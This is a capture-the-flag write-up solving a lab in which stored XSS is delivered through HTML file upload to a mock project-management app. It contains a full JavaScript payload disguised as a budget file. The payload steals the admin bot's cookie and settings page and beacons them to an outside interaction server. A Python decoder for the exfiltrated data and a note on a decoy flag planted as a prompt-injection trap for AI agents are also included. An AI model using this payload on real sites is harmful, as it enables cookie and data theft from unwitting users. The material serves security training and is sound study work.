Lab 271 — TeamPulse — Stored XSS via HTML File Upload
Lab 271 — TeamPulse — Stored XSS via HTML File Upload
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-01 | Status: Solved Techniques: admin_bot_exploitation, content_type_text_html_serving, cookie_exfiltration_via_document_cookie, decoy_flag_elimination, interaction_server_oob_callback, non_httponly_cookie_theft, path_based_data_exfiltration, same_origin_page_fetching, stored_xss_via_html_file_upload
Summary
Task: collaborative project management app with file upload; HTML files served as text/html without sanitization, admin bot reviews uploads. Solution: upload HTML with JavaScript that reads admin's non-HttpOnly flag cookie and exfiltrates it via path-encoded Image beacons to Interaction Server.
Lab 271 — TeamPulse — Stored XSS via HTML File Upload — HackAdvisor
Description
TeamPulse is a collaborative project management platform built by PulseWork Inc. Teams use it to organize projects with kanban boards, share files, and communicate through threaded conversations. You have been given access to a workspace as a regular team member. Your mission is to find a way to steal the workspace administrator's sensitive session data. Explore the application's features — especially how files are handled when shared between team members. Pay attention to how uploaded content is served back to users. The workspace administrator periodically reviews files uploaded to shared projects for compliance purposes.
English summary: A project management web app with file upload functionality. Uploaded HTML files are served back with Content-Type: text/html, enabling stored XSS. An admin bot (HeadlessChrome) periodically opens uploaded files. The goal is to steal the admin's sensitive data — specifically a non-HttpOnly flag cookie.
Analysis
Application reconnaissance
Logged in with user@test.com / password123 as Alex Chen (member role). The app is an Express/Node.js backend behind nginx/1.25.5 with:
- Dashboard (
/) — overview - Projects (
/projects) — each project has Tasks, Files, Conversations tabs - Settings (
/settings) — profile management - File upload at
/projects/{id}/files/upload(multipart/form-data) - File serving at
/files/{timestamp}-{hash}.{ext}
Key hint on the files page: "Uploaded files are automatically reviewed by a workspace administrator for compliance." — confirming an admin bot visits uploaded files.
Decoy flag detection
Every HTML response contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} injected via HTML comment and hidden div — a classic prompt injection honeypot. This was ignored.
Vulnerability identification
Uploaded a test HTML file containing <script>alert(1)</script>. The file was served at /files/1780351049683-625cc567.html with:
Content-Type: text/html— browser renders it as a full HTML page- No
Content-Disposition: attachmentheader — file is displayed inline, not downloaded - No HTML sanitization applied to uploaded content
Response headers included X-Content-Type-Options: nosniff and X-XSS-Protection: 1; mode=block, but these don't prevent stored XSS when the server explicitly serves the file as text/html.
Cookie analysis
sessioncookie: HttpOnly, Secure, SameSite=Lax — cannot be read viadocument.cookieflagcookie: NOT HttpOnly — readable via JavaScript
Solution
Step 1: Failed exfiltration via query string
The first payload used new Image().src = BASE + "x?t=cookie&d=" + encodeURIComponent(data) to beacon data. The admin bot executed it (11 requests to /x logged from HeadlessChrome/124.0.0.0), confirming XSS worked. However, the Interaction Server only logs the URL path, not query parameters — so all exfiltrated data was lost.
Step 2: Path-based exfiltration
Redesigned the payload to encode all data into the URL path instead of query string:
- Base64-encode the data
- Make it URL-safe:
/→_,+→-,=→. - Chunk into 120-character path segments
- Beacon format:
/D/{tag}/{seq}/{idx}of{total}/{base64chunk}
Step 3: Final payload
html read-only • copy allowed<!DOCTYPE html> <html><head><title>Q1 Budget</title></head><body> <h1>Budget Review</h1> <script> (function(){ var B="http://interact/2dacf007-9e32-44e0-a976-9b98dcdb7aa8/"; var s=0; function e(t,d){ var b=btoa(unescape(encodeURIComponent(String(d)))); b=b.replace(/\//g,"_").replace(/\+/g,"-").replace(/=/g,"."); var sz=120,tot=Math.ceil(b.length/sz)||1; for(var i=0;i<tot;i++){ var c=b.substr(i*sz,sz)||"E"; new Image().src=B+"D/"+t+"/"+s+"/"+i+"of"+tot+"/"+c; s++; } } // Exfiltrate cookies (including non-HttpOnly flag cookie) e("CK",document.cookie||"NOCOOKIE"); // Also fetch admin's settings page for additional intel fetch("/settings",{credentials:"include"}).then(function(r){ return r.text(); }).then(function(t){ var partSize=4000; for(var p=0;p<4;p++){ var part=t.substring(p*partSize,(p+1)*partSize); if(part.length>0) e("SET"+p,part); } }); })(); </script> </body></html>
The payload was disguised with an innocuous title ("Q1 Budget") and heading to avoid suspicion.
Step 4: Upload and wait
Uploaded the HTML file to a shared project via /projects/{id}/files/upload. The admin bot reviewed it within seconds.
Step 5: Decode exfiltrated data
The Interaction Server logged requests with path-encoded data. Decoded the CK (cookie) tag:
flag=FLAG{REDACTED}
The admin had a non-HttpOnly cookie named flag containing the real flag, separate from the HttpOnly session cookie.
Additional intel from the /settings page fetch confirmed the admin identity: Rachel Morrison (admin@pulsework.com, role=admin).
Decoding script
python read-only • copy allowed#!/usr/bin/env python3 # Decode interact-server path-encoded exfil values import sys, base64, urllib.parse def dec(s): s = urllib.parse.unquote(s) # Reverse URL-safe base64 replacements s = s.replace("_", "/").replace("-", "+").replace(".", "=") try: return base64.b64decode(s).decode('utf-8', 'replace') except Exception as e: return f"[decode err {e}] raw={s}" data = sys.argv[1:] or [l.strip() for l in sys.stdin if l.strip()] for d in data: print("=" * 60) print(dec(d))